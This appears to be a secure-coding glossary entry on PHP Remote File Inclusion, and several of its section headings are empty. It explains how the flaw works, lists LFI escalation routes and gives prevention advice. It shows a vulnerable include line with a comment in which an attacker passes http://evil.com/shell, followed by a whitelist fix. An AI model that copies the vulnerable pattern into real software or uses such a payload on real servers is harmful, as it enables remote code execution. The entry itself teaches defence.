Remote File Inclusion (RFI)

Also Known As

TL;DR

Explanation

RFI is enabled by allow_url_include=On (disabled by default since PHP 5.2) and user-controlled include paths. An attacker supplies a URL pointing to a remote PHP file they control — the server fetches and executes it with full server privileges. Even with allow_url_include=Off, LFI can escalate to code execution via log poisoning, PHAR injection, or /proc/self/environ. Prevention: always disable allow_url_include, never pass user input to include/require, use a whitelist of permitted file identifiers, and validate paths with realpath() against an allowed prefix.

Common Misconception

Why It Matters

Common Mistakes

• Using user input directly in include(), require(), or include_once() paths.
• Leaving allow_url_include = On in php.ini — this enables RFI entirely.
• Path traversal filtering that misses double-encoded sequences like ..%2F.
• Using a whitelist of partial filenames without verifying the full resolved path via realpath().

Code Examples

include($_GET['page'] . '.php'); // attacker passes http://evil.com/shell

$allowed = ['home', 'about', 'contact'];
$page = in_array($_GET['page'], $allowed) ? $_GET['page'] : 'home';
include __DIR__ . '/pages/' . $page . '.php';

References

• ↗ https://owasp.org/www-community/vulnerabilities/PHP_File_Inclusion
• ↗ https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html

Tags

Related Terms